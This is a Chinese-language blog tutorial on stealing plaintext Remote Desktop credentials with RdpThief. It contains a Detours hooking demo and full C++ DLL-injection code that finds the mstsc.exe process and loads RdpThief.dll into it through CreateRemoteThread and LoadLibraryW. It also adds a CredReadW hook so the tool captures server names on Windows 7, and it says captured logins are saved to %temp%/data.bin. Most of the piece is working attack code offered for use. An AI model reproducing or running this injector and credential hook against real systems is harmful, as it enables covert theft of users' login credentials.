从mstsc中提取明文凭据-RdpThief实践
简介
尝试使用RdpThief从远程桌面客户端提取明文凭据,通过读取运行过程中mstsc的内存数据,监控API调用,找到后hook对应API,从中导出存储的明文口令。
准备工作
首先先需要安装Detours库。
Detours库用于监视和检测Windows上的API调用,可以用来hook系统API。
这里我用的是vs2015,直接通过命令安装了:
vs2015->工具->NuGet包管理器->程序包管理器控制台
Install-Package Detours
通过一个小小的demo演示下hook。
#include <Windows.h>
#include <detours.h> //加载detours库
#pragma comment (lib,"detours.lib")
static int(WINAPI *TrueMessageBox)(HWND, LPCTSTR, LPCTSTR, UINT) = MessageBox; //根据函数原型来定义要被HOOk的函数(MSDN函数怎么写的你就怎么定义)
int WINAPI OurMessageBox(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType) { //成功HOOK后的处理函数
return TrueMessageBox(NULL, L"Hooked", lpCaption, 0); //HOOK messagebox
}
int main()
{
DetourTransactionBegin(); //初始化
DetourUpdateThread(GetCurrentThread());
DetourAttach(&(PVOID&)TrueMessageBox, OurMessageBox); //加载要HOOK的函数
DetourTransactionCommit(); //开始HOOK
MessageBox(NULL, L"Hello", L"Hello", 0);
DetourTransactionBegin(); //HOOK初始化
DetourUpdateThread(GetCurrentThread()); //刷新本身线程
DetourDetach(&(PVOID&)TrueMessageBox, OurMessageBox); //取消HOOK
DetourTransactionCommit(); //取消HOOK开始
}
编译运行:
编译RdpThief
先去下载项目文件,项目地址https://github.com/0x09AL/RdpThief
vs2015 有可能碰到由于工具集问题导致编译失败的情况,在项目属性中的常规项中修改工具集平台为v140。
编译成功后就可以得到一个dll文件。
接下来就是要将这个dll注入到对一个的mstsc进程里面。
dll 注入
这里为了方便自动化,直接先通过进程名搜索pid,然后向对应pid进程注入dll。
这里直接把我的代码贴了:
// detourstest.cpp : 定义控制台应用程序的入口点。
//
#include "stdafx.h"
#include "Windows.h"
#include <detours.h>
#include <string.h>
#include <tlhelp32.h>
#pragma comment (lib,"detours.lib")
#define ArraySize(ptr) (sizeof(ptr) / sizeof(ptr[0]))
/*
static int(WINAPI *TrueMessageBox)(HWND, LPCTSTR, LPCTSTR, UINT) = MessageBox;
int WINAPI OurMessageBox(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType) {
return TrueMessageBox(NULL, L"Hooked", lpCaption, 0);
}
int main()
{
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourAttach(&(PVOID&)TrueMessageBox, OurMessageBox);
DetourTransactionCommit();
MessageBox(NULL, L"Hello", L"Hello", 0);
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourDetach(&(PVOID&)TrueMessageBox, OurMessageBox);
DetourTransactionCommit();
}
*/
BOOL FindProcessPid(LPCWSTR ProcessName, DWORD& dwPid);
int main()
{
LPCWSTR Name = L"mstsc.exe";
// StopMyService();
DWORD dwPid = 0;
HANDLE ProcessHandle;
PVOID RemoteBuffer;
wchar_t DllPath[] = TEXT("C:\\RdpThief.dll");
if (FindProcessPid(Name, dwPid))
{
//printf("[%ls] [%d]\n",Name, dwPid);
ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
RemoteBuffer = VirtualAllocEx(ProcessHandle, NULL, sizeof DllPath, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(ProcessHandle, RemoteBuffer, (LPVOID)DllPath, sizeof DllPath, NULL);
PTHREAD_START_ROUTINE threatStartRoutineAddress = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
CreateRemoteThread(ProcessHandle, NULL, 0, threatStartRoutineAddress, RemoteBuffer, 0, NULL);
CloseHandle(ProcessHandle);
}
else
{
printf("[%ls] [Not Found]\n", Name);
}
return 0;
}
BOOL FindProcessPid(LPCWSTR ProcessName, DWORD& dwPid)
{
HANDLE hProcessSnap;
PROCESSENTRY32 pe32;
// Take a snapshot of all processes in the system.
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE)
{
return(FALSE);
}
pe32.dwSize = sizeof(PROCESSENTRY32);
if (!Process32First(hProcessSnap, &pe32))
{
CloseHandle(hProcessSnap); // clean the snapshot object
return(FALSE);
}
BOOL bRet = FALSE;
do
{
if (!lstrcmp(ProcessName, pe32.szExeFile))
{
dwPid = pe32.th32ProcessID;
bRet = TRUE;
break;
}
} while (Process32Next(hProcessSnap, &pe32));
CloseHandle(hProcessSnap);
return bRet;
}
编译以后测试下。
用Process Explorer看下是否注入成功。
然后正常登录,无论成功与否,都是会记录下来保存在%temp%/data.bin文件中。
注意
我这里测试的是win10下,根据几个老师傅的测试win7下是不存在SspiPrepareForCredRead这个API,自然就无法将登录服务器的ip记录下来,需要修改RdpThief的代码,通过CredReadW这个API去获取对应的ip。
所以只需要在源代码中增加对CredReadW的hook即可。
static BOOL(WINAPI *OriginalCredReadW)(LPCWSTR TargetName, DWORD Type, DWORD Flags, PCREDENTIALW *Credential) = CredReadW;
BOOL HookedCredReadW(LPCWSTR TargetName, DWORD Type, DWORD Flags, PCREDENTIALW *Credential)
{
lpServer = TargetName;
return OriginalCredReadW(TargetName, Type, Flags, Credential);
}
不要忘了attach加载hook和detach取消hook。
补充
对应的代码我已经放在github上了,win7的暂时没测试,只是参考改了下,能编译通过。
项目地址:https://github.com/hmoytx/RdpThief_tools